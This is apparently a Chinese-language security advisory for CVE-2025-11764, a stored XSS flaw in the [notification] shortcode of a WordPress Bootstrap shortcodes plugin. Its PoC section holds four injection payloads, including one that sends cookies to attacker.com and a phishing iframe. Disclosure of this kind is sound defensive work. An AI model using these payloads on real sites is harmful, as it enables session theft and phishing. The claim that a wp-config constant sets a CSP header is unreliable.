IPBUF安全漏洞报告
English
CVE-2025-11764 CVSS 6.4 中危

CVE-2025-11764 WordPress Shortcodes Bootstrap插件存储型XSS漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11764
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Shortcodes Bootstrap plugin (≤1.1)

相关标签

存储型XSSWordPress插件漏洞CVE-2025-11764Shortcodes Bootstrap短代码注入CWE-79跨站脚本WordPress安全

漏洞概述

CVE-2025-11764是WordPress Shortcodes Bootstrap插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于插件的[notification]短代码中,攻击者可以通过'type'参数注入恶意JavaScript代码。由于插件在处理用户输入时缺少适当的输入 sanitization(消毒)和输出转义(output escaping),导致恶意脚本会被永久存储在数据库中。所有版本 up to and including 1.1 均受影响。攻击者需要具有 contributor 级别或更高的权限即可利用此漏洞。成功利用后,攻击者注入的恶意脚本会在任何用户访问被注入的页面时执行,可能导致会话劫持、凭据窃取、敏感信息泄露等严重后果。此漏洞的CVSS评分为6.4,属于中危级别,攻击向量为网络,认证要求为低权限,无需用户交互即可实施攻击。

技术细节

该漏洞位于Shortcodes Bootstrap插件的inc/dws_alert.php文件第16行附近。问题根源在于插件的[notification]短代码处理逻辑中,直接将用户可控的'type'参数值输出到HTML页面,而未进行任何输入验证或输出编码。当攻击者以 contributor 或更高权限用户身份创建或编辑文章时,可以在短代码中注入恶意Payload,如:type参数中包含<script>标签或事件处理器(如onerror、onload等)。由于存储型XSS的特性,恶意代码会被永久保存在数据库中,所有访问该页面的用户都会触发恶意脚本执行。攻击者可利用此漏洞窃取管理员Cookie、劫持用户会话、进行钓鱼攻击或修改页面内容。该漏洞的利用前提是攻击者已具备WordPress网站的 contributor 级别账户,认证难度较低。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的 contributor 或更高权限账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意Payload的[notification]短代码
STEP 3
步骤3
Payload通过未过滤的'type'参数注入到数据库中,恶意脚本被永久存储
STEP 4
步骤4
受害用户访问包含恶意短代码的页面
STEP 5
步骤5
服务器返回页面时,未转义的恶意脚本在受害用户浏览器中执行
STEP 6
步骤6
攻击者通过执行的脚本窃取Cookie、会话令牌或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Shortcodes Bootstrap Plugin - Stored XSS via [notification] shortcode --> <!-- Required: Contributor-level access or higher --> <!-- PoC 1: Basic script injection --> [notification type='xss"><script>alert(document.cookie)</script>'] Test notification [/notification] <!-- PoC 2: Event handler injection --> [notification type='xss" onerror="alert(String.fromCharCode(88,83,83))'] Test notification [/notification] <!-- PoC 3: img onerror injection --> [notification type='xss"><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] Test notification [/notification] <!-- PoC 4: iframe injection for phishing --> [notification type='xss"><iframe src="https://attacker.com/fake-login" style="width:100%;height:100%">'] Test notification [/notification] <!-- Usage: Add the above shortcode to any WordPress post/page -->

影响范围

WordPress Shortcodes Bootstrap plugin ≤ 1.1

防御指南

临时缓解措施
如果无法立即升级插件,可以在wp-config.php中添加内容安全策略(CSP)头部来限制脚本执行:define('WP_CONTENT_SECURITY_POLICY', "default-src 'self'; script-src 'self';");同时考虑使用网站应用防火墙(WAF)过滤恶意请求,限制具有编辑权限的用户角色,并监控管理员日志以检测异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表